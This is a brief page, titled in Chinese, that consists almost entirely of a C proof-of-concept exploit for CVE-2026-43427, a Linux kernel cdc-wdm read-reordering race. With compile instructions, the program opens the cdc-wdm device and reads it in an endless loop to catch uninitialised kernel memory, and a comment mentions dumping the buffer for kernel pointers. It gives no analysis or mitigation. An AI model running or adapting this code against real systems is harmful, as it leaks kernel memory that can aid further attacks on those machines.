CVE-2026-43427 Linux内核cdc-wdm重排序漏洞

/* * PoC for CVE-2026-43427: Linux Kernel cdc-wdm read reordering * This code attempts to trigger the race condition by continuously reading * from the cdc-wdm device to catch uninitialized memory. * * Compile: gcc -o poc_cve2026_43427 poc_cve2026_43427.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define DEVICE_PATH "/dev/cdc-wdm0" #define BUFFER_SIZE 4096 int main(int argc, char *argv[]) { int fd; char buffer[BUFFER_SIZE]; ssize_t bytes_read; const char *dev = DEVICE_PATH; if (argc > 1) { dev = argv[1]; } printf("[*] Opening device: %s\n", dev); fd = open(dev, O_RDONLY); if (fd < 0) { perror("[-] Failed to open device"); return EXIT_FAILURE; } printf("[+] Device opened successfully. Starting read loop...\n"); printf("[*] Trying to read uninitialized memory due to instruction reordering...\n"); while (1) { memset(buffer, 0, BUFFER_SIZE); // Triggering the wdm_read code path bytes_read = read(fd, buffer, BUFFER_SIZE); if (bytes_read > 0) { // In a real analysis scenario, one would dump 'buffer' here // to identify kernel pointers or data patterns. // printf("Read %zd bytes\n", bytes_read); } else if (bytes_read == 0) { // End of file or no data usleep(1000); } else { perror("[-] Read error"); break; } } close(fd); return EXIT_SUCCESS; }